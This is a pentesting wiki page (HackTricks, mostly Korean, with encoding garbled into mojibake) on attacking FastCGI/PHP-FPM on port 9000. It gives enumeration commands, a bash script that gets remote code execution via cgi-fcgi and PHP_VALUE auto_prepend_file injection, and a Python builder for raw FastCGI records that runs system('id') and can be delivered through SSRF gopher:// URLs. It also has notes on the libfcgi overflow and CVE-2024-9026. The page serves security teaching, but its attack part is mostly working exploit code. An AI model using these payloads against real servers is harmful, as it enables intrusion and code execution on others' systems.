9000 Pentesting FastCGI

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

FastCGI๊ฐ€ ๋ฌด์—‡์ธ์ง€ ์•Œ์•„๋ณด๊ณ  ์‹ถ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

disable_functions bypass - php-fpm/FastCGI

๊ธฐ๋ณธ์ ์œผ๋กœ FastCGI๋Š” port 9000์—์„œ ์‹คํ–‰๋˜๋ฉฐ nmap์—์„œ ์ธ์‹๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต FastCGI๋Š” localhost์—์„œ๋งŒ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค.

์—ด๊ฑฐ / ๋น ๋ฅธ ํ™•์ธ

  • Port scan: nmap -sV -p9000 <target> (์ข…์ข… โ€œunknownโ€ ์„œ๋น„์Šค๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค; ์ˆ˜๋™์œผ๋กœ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”).
  • Probe FPM status page: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (๊ธฐ๋ณธ php-fpm pm.status_path).
  • Find reachable sockets via SSRF: HTTP ์„œ๋น„์Šค๊ฐ€ SSRF์— ์ทจ์•ฝํ•˜๋‹ค๋ฉด gopher://127.0.0.1:9000/_... ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹œ๋„ํ•˜์—ฌ FastCGI ๋ฆฌ์Šค๋„ˆ์— ์—ฐ๊ฒฐํ•ด ๋ณด์„ธ์š”.
  • Nginx misconfigs: cgi.fix_pathinfo=1 ์™€ fastcgi_split_path_info ์—๋Ÿฌ๊ฐ€ ์žˆ์œผ๋ฉด ์ •์  ํŒŒ์ผ์— /.php๋ฅผ ๋ง๋ถ™์—ฌ PHP์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํŠธ๋ž˜๋ฒ„์„ค์„ ํ†ตํ•œ ์ฝ”๋“œ ์‹คํ–‰).

RCE

FastCGI๊ฐ€ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์€ ๊ฝค ์‰ฝ์Šต๋‹ˆ๋‹ค:

PHP payload๋ฅผ ์•ž์— ๋ถ™์ด๋Š” FastCGI ์š”์ฒญ ์ „์†ก ```bash #!/bin/bash

PAYLOAD=โ€œ<?php echo โ€˜โ€™;โ€ FILENAMES=โ€œ/var/www/public/index.phpโ€ # Exisiting file path

HOST=$1 B64=$(echo โ€œ$PAYLOADโ€|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=โ€œallow_url_include=1โ€$โ€˜\nโ€™โ€œallow_url_fopen=1โ€$โ€˜\nโ€™โ€œauto_prepend_file=โ€˜data://text/plain;base64,$B64โ€™โ€
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

๋˜๋Š” ๋‹ค์Œ python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher to FastCGI (9000 ํฌํŠธ์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์„ ๋•Œ)

๋งŒ์•ฝ **SSRF** primitive๋งŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, gopher ์Šคํ‚ด์„ ์‚ฌ์šฉํ•ด FastCGI์— ๋„๋‹ฌํ•˜๊ณ  ์ „์ฒด FastCGI ์š”์ฒญ์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ์‹œ payload builder:

<details>
<summary>gopher FastCGI RCE payload ์ƒ์„ฑ ๋ฐ ์ „์†ก</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.

์ตœ๊ทผ ์ด์Šˆ ๊ด€๋ จ ๋…ธํŠธ

  • libfcgi <= 2.4.4 integer overflow (2024): crafted nameLen/valueLen in FastCGI records can overflow on 32โ€‘bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).
  • PHP-FPM log manipulation (CVE-2024-9026): when catch_workers_output = yes, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.
  • Classic Nginx + cgi.fix_pathinfo misconfig: still widely seen; if fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; is used without file existence checks, any path ending in .php gets executed, enabling path traversal or source overwrite style gadgets.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ